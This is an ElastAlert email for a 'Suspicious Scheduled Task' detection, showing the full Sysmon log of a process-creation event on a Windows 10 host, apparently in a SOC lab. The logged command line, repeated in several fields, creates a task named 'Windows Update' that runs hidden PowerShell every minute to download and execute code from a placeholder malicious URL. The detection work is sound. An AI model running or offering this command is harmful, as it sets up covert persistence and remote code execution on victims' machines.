ElastAlert: Suspicious Scheduled Task

1 message

<rangammabokka46@gmail.com> Sat, May 24, 2025 at 3:18 PM
Reply-to: rangammabokka46@gmail.com
To: rangammabokka46@gmail.com

Suspicious Scheduled Task

At least 1 events occurred between 2025-05-24 15:06 India Standard Time and 2025-05-24 15:16 India Standard Time

@timestamp: 2025-05-24T09:46:59.670Z
_id: cwWwAZcBkOXE-VJ374e7
_index: .ds-winlogbeat-8.10.2-2025.05.14-000001
agent: {
"ephemeral_id": "353ffc09-62d8-4e91-94c8-84b8f6c98cf3",
"id": "e5e3a761-acc3-41a2-88c5-ee2b2b236970",
"name": "Viticm-SOC",
"type": "winlogbeat",
"version": "8.10.2"
}
ecs: {
"version": "1.12.0"
}
event: {
"action": "Process Create (rule: ProcessCreate)",
"category": [
"process"
],
"code": "1",
"created": "2025-05-24T09:47:42.896Z",
"ingested": "2025-05-24T09:47:42.369954Z",
"kind": "event",
"module": "sysmon",
"provider": "Microsoft-Windows-Sysmon",
"type": [
"start"
]
}
host: {
"architecture": "x86_64",
"hostname": "viticm-soc",
"id": "7e25c1a1-4745-47c6-abe9-ec7f50bf1d98",
"ip": [
"fe80::2674:6aaf:881:b09b",
"192.168.52.131"
],
"mac": [
"00-0C-29-C5-7F-10"
],
"name": "viticm-soc",
"os": {
"build": "19045.5854",
"family": "windows",
"kernel": "10.0.19041.5848 (WinBuild.160101.0800)",
"name": "Windows 10 Home",
"platform": "windows",
"type": "windows",
"version": "10.0"
}
}
log: {
"level": "information"
}
message: Process Create:
RuleName: -
UtcTime: 2025-05-24 09:46:59.670
ProcessGuid: {7e25c1a1-9593-6831-f003-000000002600}

ProcessId: 2896
Image: C:\Windows\System32\schtasks.exe
FileVersion: 10.0.19041.3636 (WinBuild.160101.0800)
Description: Task Scheduler Configuration Tool
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: schtasks.exe
CommandLine: schtasks /create /tn "Windows Update" /tr "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://malicious-url')" /sc minute /mo 1
CurrentDirectory: C:\Windows\system32\
User: VITICM-SOC\ranga
LogonGuid: {7e25c1a1-4e30-6831-9e3f-070000000000}
LogonId: 0x73F9E
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=D4DA03B7BB20B7E4F1B762A365D4DD4F,SHA256=9A80453518078BADF0679B0CF30F50A83163E5264A2665C6052CC27F168C50F2,IMPHASH=ECCE05491F2E8F279F4790BCB1318C05
ParentProcessGuid: {7e25c1a1-8a32-6831-6e03-000000002600}
ParentProcessId: 2040
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: VITICM-SOC\ranga
num_hits: 2
num_matches: 2
process: {
  "args": [
    "schtasks",
    "/create",
    "/tn",
    "Windows Update",
    "/tr",
    "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://malicious-url')",
    "/sc",
    "minute",
    "/mo",
    "1"
  ],
  "args_count": 10,
  "command_line": "schtasks /create /tn \"Windows Update\" /tr \"powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://malicious-url')\" /sc minute /mo 1",
  "entity_id": "{7e25c1a1-9593-6831-f003-000000002600}",
  "executable": "C:\\Windows\\System32\\schtasks.exe",
  "hash": {
    "md5": "d4da03b7bb20b7e4f1b762a365d4dd4f",
    "sha256": "9a80453518078badf0679b0cf30f50a83163e5264a2665c6052cc27f168c50f2"
  },
  "name": "schtasks.exe",
  "parent": {
    "args": [
      "C:\\Windows\\system32\\cmd.exe"
    ],
    "args_count": 1,
    "command_line": "\"C:\\Windows\\system32\\cmd.exe\" ",
    "entity_id": "{7e25c1a1-8a32-6831-6e03-000000002600}",
    "executable": "C:\\Windows\\System32\\cmd.exe",
    "name": "cmd.exe",
    "pid": 2040
  },
  "pe": {
    "company": "Microsoft Corporation",
    "description": "Task Scheduler Configuration Tool",
    "file_version": "10.0.19041.3636 (WinBuild.160101.0800)",
    "imphash": "ecce05491f2e8f279f4790bcb1318c05",
    "original_file_name": "schtasks.exe",
    "product": "Microsoft® Windows® Operating System"
  },
  "pid": 2896,
  "working_directory": "C:\\Windows\\system32\\"
}
related: {
  "hash": [
    "9a80453518078badf0679b0cf30f50a83163e5264a2665c6052cc27f168c50f2",
    "d4da03b7bb20b7e4f1b762a365d4dd4f",
    "ecce05491f2e8f279f4790bcb1318c05"

```
    ],
    "user": [
      "ranga"
    ]
}
user: {
    "domain": "VITICM-SOC",
    "id": "S-1-5-18",
    "name": "ranga"
}
winlog: {
    "api": "wineventlog",
    "channel": "Microsoft-Windows-Sysmon/Operational",
    "computer_name": "Viticm-SOC",
    "event_data": {
      "Company": "Microsoft Corporation",
      "Description": "Task Scheduler Configuration Tool",
      "FileVersion": "10.0.19041.3636 (WinBuild.160101.0800)",
      "IntegrityLevel": "High",
      "LogonGuid": "{7e25c1a1-4e30-6831-9e3f-070000000000}",
      "LogonId": "0x73f9e",
      "ParentUser": "VITICM-SOC\\ranga",
      "Product": "Microsoft® Windows® Operating System",
      "TerminalSessionId": "1"
    },
    "event_id": "1",
    "opcode": "Info",
    "process": {
      "pid": 2460,
      "thread": {
        "id": 3156
      }
    },
    "provider_guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}",
    "provider_name": "Microsoft-Windows-Sysmon",
    "record_id": "27325",
    "task": "Process Create (rule: ProcessCreate)",
    "user": {
      "domain": "NT AUTHORITY",
      "identifier": "S-1-5-18",
      "name": "SYSTEM",
      "type": "User"
    },
    "version": 5
}
```